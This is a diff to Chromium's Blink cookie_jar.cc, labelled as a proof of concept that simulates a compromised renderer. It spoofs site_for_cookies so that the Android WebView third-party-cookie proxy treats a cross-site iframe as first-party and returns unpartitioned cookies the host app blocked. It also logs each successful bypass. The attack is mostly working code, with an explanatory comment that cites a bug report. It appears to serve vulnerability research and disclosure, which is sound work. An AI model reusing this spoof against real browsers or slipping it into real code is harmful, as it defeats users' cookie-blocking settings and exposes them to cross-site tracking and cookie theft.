diff --git a/third_party/blink/renderer/core/loader/cookie_jar.cc b/third_party/blink/renderer/core/loader/cookie_jar.cc --- a/third_party/blink/renderer/core/loader/cookie_jar.cc +++ b/third_party/blink/renderer/core/loader/cookie_jar.cc @@ -160,6 +160,32 @@ void CookieJar::OnBackendDisconnect() { InvalidateCache(); } +// --------------------------------------------------------------------------- +// POC: Compromised-renderer simulation. +// +// In a legitimate third-party iframe (tracker.example embedded in +// victim.example), document_->SiteForCookies() returns +// SiteForCookies(victim.example). When the WebView host app has called +// CookieManager.setAcceptThirdPartyCookies(webview, false), the browser-side +// AwProxyingRestrictedCookieManager checks +// StaticCookiePolicy(BLOCK_ALL_THIRD_PARTY_COOKIES) +// .CanAccessCookies(tracker.example, SiteForCookies(victim.example)) +// which yields ERR_ACCESS_DENIED -> kPartitionedStateAllowedOnly, so +// unpartitioned cookies are blocked. +// +// A compromised renderer can lie: it sends SiteForCookies(tracker.example) +// instead. The proxy then computes IsFirstParty(tracker.example) == true -> +// kStateAllowed -> forwards with force_disable_third_party_cookies=false. The +// downstream network::RestrictedCookieManager only LOG(ERROR)s the mismatch +// against its bound isolation_info (see crbug.com/402207912) and returns the +// unpartitioned SameSite=None cookies. +// --------------------------------------------------------------------------- +static net::SiteForCookies SpoofedSiteForCookies(const KURL& cookie_url) { + return net::SiteForCookies::FromUrl(GURL(cookie_url)); +} + String CookieJar::Cookies() { TRACE_EVENT("blink", "CookieJar::Cookies"); KURL cookie_url = document_->CookieURL(); @@ -190,8 +216,14 @@ String CookieJar::Cookies() { bool is_ad_tagged = document_->GetFrame() && document_->GetFrame()->IsAdFrame(); + // POC: spoof site_for_cookies so the WebView 3PC proxy treats this as a + // first-party request even when we are a cross-site iframe. + net::SiteForCookies poc_sfc = SpoofedSiteForCookies(cookie_url); + LOG(ERROR) << "[POC] CookieJar::Cookies spoofing site_for_cookies=" + << poc_sfc.ToDebugString() << " for url=" << GURL(cookie_url); + if (!backend_->GetCookiesString( - cookie_url, document_->SiteForCookies(), + cookie_url, poc_sfc, document_->TopFrameOrigin(), document_->GetExecutionContext()->GetStorageAccessApiStatus(), get_version_shared_memory, is_ad_tagged, @@ -204,6 +236,9 @@ String CookieJar::Cookies() { InvalidateCache(); return g_empty_string; } + LOG(ERROR) << "[POC] CookieJar::Cookies bypass result for " + << GURL(cookie_url) << " -> \"" << value.Utf8() + << "\" (non-empty == 3PC block bypassed)"; last_cookies_ = value; if (new_mapped_region.IsValid()) { shared_memory_version_client_.emplace(std::move(new_mapped_region)); @@ -266,9 +301,12 @@ bool CookieJar::CookiesEnabled() { base::ElapsedTimer timer; RequestRestrictedCookieManagerIfNeeded(); + // POC: same spoof for navigator.cookieEnabled. + net::SiteForCookies poc_sfc = SpoofedSiteForCookies(cookie_url); bool cookies_enabled = false; backend_->CookiesEnabledFor( - cookie_url, document_->SiteForCookies(), document_->TopFrameOrigin(), + cookie_url, poc_sfc, document_->TopFrameOrigin(), document_->GetExecutionContext()->GetStorageAccessApiStatus(), ShouldApplyDevtoolsOverrides(), &cookies_enabled); + LOG(ERROR) << "[POC] CookiesEnabledFor(" << GURL(cookie_url) + << ") -> " << cookies_enabled; base::UmaHistogramTimes("Blink.CookiesEnabledTime", timer.Elapsed());